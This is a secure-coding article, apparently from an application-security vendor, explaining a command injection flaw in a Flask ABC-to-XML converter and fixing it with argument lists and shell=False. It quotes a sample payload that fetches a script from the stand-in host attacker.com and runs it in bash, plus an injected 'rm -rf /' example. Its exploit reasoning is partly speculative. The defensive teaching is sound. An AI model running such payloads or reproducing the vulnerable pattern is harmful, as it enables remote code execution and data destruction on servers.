How Command Injection happens in Python Flask and how to fix it

Introduction

The flask_app.py file handles music notation conversion—accepting ABC notation via a POST request to /abc2xml and converting it to XML using an external Python script. However, a critical flaw in the run_command function at line 65 created a direct path from user input to arbitrary shell command execution.

The vulnerability chain is straightforward: user-supplied ABC notation data arrives via HTTP POST, gets written to a temporary file, and the resulting filename is concatenated into a shell command string. That string is then executed with subprocess.run(command, shell=True). Because the shell interprets metacharacters like ;, |, $(), and backticks, an attacker can break out of the intended command and execute anything on the server.

This matters for any developer building web applications that invoke external tools—a pattern common in file conversion services, media processing pipelines, and document generators.

The Vulnerability Explained

The Dangerous Code Pattern

Here's the vulnerable code from flask_app.py:

# Line 21 - Command construction via string concatenation
result = run_command("python mysite/abc2xml.py " + abcFile)

# Lines 63-66 - The run_command function
def run_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)

When shell=True is passed to subprocess.run(), Python hands the entire command string to /bin/sh -c (on Unix) or cmd.exe /c (on Windows). The shell then interprets every special character in that string.

The Attack Scenario

Consider what happens when an attacker sends a POST request to /abc2xml:

POST /abc2xml HTTP/1.1
Content-Type: application/json

{
  "abc": "X:1\nT:Test\n'; curl http://attacker.com/shell.sh | bash #"
}

The ABC data is written to a temporary file. While the filename itself is generated by tempfile, the real danger is more subtle. If the temporary file path contains spaces or if the application's file-writing logic produces a predictable path, an attacker could exploit race conditions. More directly, on some systems, tempfile functions can produce paths with characters that the shell interprets.

But the most immediate exploit path is even simpler. If the ABC content contains shell metacharacters and the application's write_to_temp_text_file function returns a path that, when concatenated, allows shell escape—or if the attacker can influence the filename through other means—the shell=True call will execute injected commands.

A concrete attack: if abcFile resolves to something like /tmp/abc_XXXX; rm -rf / #, the shell sees:

python mysite/abc2xml.py /tmp/abc_XXXX; rm -rf / #

This executes python mysite/abc2xml.py /tmp/abc_XXXX followed by rm -rf /. The # comments out anything after it.

Real-World Impact

This is a publicly accessible Flask application. Successful exploitation grants the attacker:

• Full remote code execution on the server
• Data exfiltration of any files the web process can read
• Lateral movement into other services on the same network
• Cryptomining, ransomware, or botnet enrollment
• Complete server compromise with potential privilege escalation

The Fix

The fix makes two precise changes that work together to eliminate the injection vector:

Change 1: Command as a List (Line 21)

Before:

result = run_command("python mysite/abc2xml.py "+abcFile)

After:

result = run_command(["python", "mysite/abc2xml.py", abcFile])

Instead of a single string that the shell must parse, the command is now a Python list where each element is a distinct argument. The abcFile variable becomes a single, opaque argument to the abc2xml.py script—no matter what characters it contains.

Change 2: Disable Shell Interpretation (Line 66)

Before:

result = subprocess.run(command, shell=True, capture_output=True, text=True)

After:

result = subprocess.run(command, shell=False, capture_output=True, text=True)

With shell=False, Python uses os.execvp() directly, bypassing the shell entirely. The operating system receives the arguments as a list—semicolons, pipes, backticks, and dollar signs are all treated as literal characters in the filename argument, not as shell operators.

Why Both Changes Are Necessary

Setting shell=False alone would break the code if the command were still a string (it would try to find an executable literally named "python mysite/abc2xml.py /tmp/file"). Converting to a list alone while keeping shell=True would still invoke the shell (though it would be slightly safer). Together, they form the correct, secure pattern.

Additional Import

The fix also adds import os at line 7, likely anticipating future use of os.path functions for additional path validation in the cleanup_temp_file function.

Prevention & Best Practices

1. Never Use shell=True with External Input

This is the cardinal rule. If any part of your command string could be influenced by user input—even indirectly through filenames, database values, or configuration—shell=True is dangerous.

# DANGEROUS - Never do this
subprocess.run(f"convert {user_file} output.pdf", shell=True)

# SAFE - Always do this
subprocess.run(["convert", user_file, "output.pdf"], shell=False)

2. Validate and Sanitize File Paths

Even with shell=False, validate that file paths don't traverse directories:

import os

def safe_path(filepath, allowed_dir="/tmp"):
    real_path = os.path.realpath(filepath)
    if not real_path.startswith(os.path.realpath(allowed_dir)):
        raise ValueError("Path traversal detected")
    return real_path

3. Use shlex.quote() as Defense in Depth

If you absolutely must use shell=True (you almost never do), escape arguments:

import shlex
# Still not recommended, but better than raw concatenation
cmd = f"python script.py {shlex.quote(filename)}"

4. Apply the Principle of Least Privilege

Run your Flask application with minimal OS permissions. Use containers, sandboxing, or restricted user accounts so that even if command injection occurs, the blast radius is limited.

5. Audit All subprocess Calls

The PR notes that line 66 in the midi2xml function uses a similar pattern and may need the same fix. Every call to subprocess.run, os.system, os.popen, or Popen with shell=True should be audited.

Key Takeaways

• The run_command function in flask_app.py was a generic shell executor—any caller passing user-influenced data into it inherited a command injection vulnerability.
• String concatenation for shell commands ("python mysite/abc2xml.py " + abcFile) is inherently unsafe—even if abcFile comes from tempfile, the pattern invites future vulnerabilities when code is modified.
• The /abc2xml endpoint accepted arbitrary POST data and eventually fed it into a shell—this is a textbook source-to-sink taint flow with no sanitization.
• shell=False with a list argument makes injection structurally impossible—it's not about filtering bad characters, it's about removing the shell interpreter from the execution path entirely.
• Line 66 (midi2xml) likely has the same vulnerability—when one pattern is found, always search for duplicates in the same codebase.

How Orbis AppSec Detected This

• Source: HTTP POST request body containing ABC notation data, received at the /abc2xml endpoint in flask_app.py:17
• Sink: subprocess.run(command, shell=True) in flask_app.py:65 (the run_command function)
• Missing control: No input sanitization, no shell metacharacter escaping, and use of shell=True with string concatenation of user-influenced data
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• Fix: Replaced string-based command with argument list and set shell=False to prevent shell interpretation of metacharacters

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability demonstrates how a seemingly innocuous pattern—calling an external script with a filename argument—can become a critical security flaw when the shell is involved. The fix is elegant in its simplicity: by passing arguments as a list and disabling shell interpretation, the entire class of shell injection attacks becomes structurally impossible.

For developers building web services that invoke external tools, the lesson is clear: treat shell=True as a code smell that demands justification. Default to shell=False with argument lists, and you'll eliminate one of the most dangerous vulnerability classes in web application security.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP OS Command Injection Defense Cheat Sheet
• Python subprocess documentation — Security Considerations
• Semgrep rules for dangerous subprocess usage
• fix: sanitize subprocess call in flask_app.py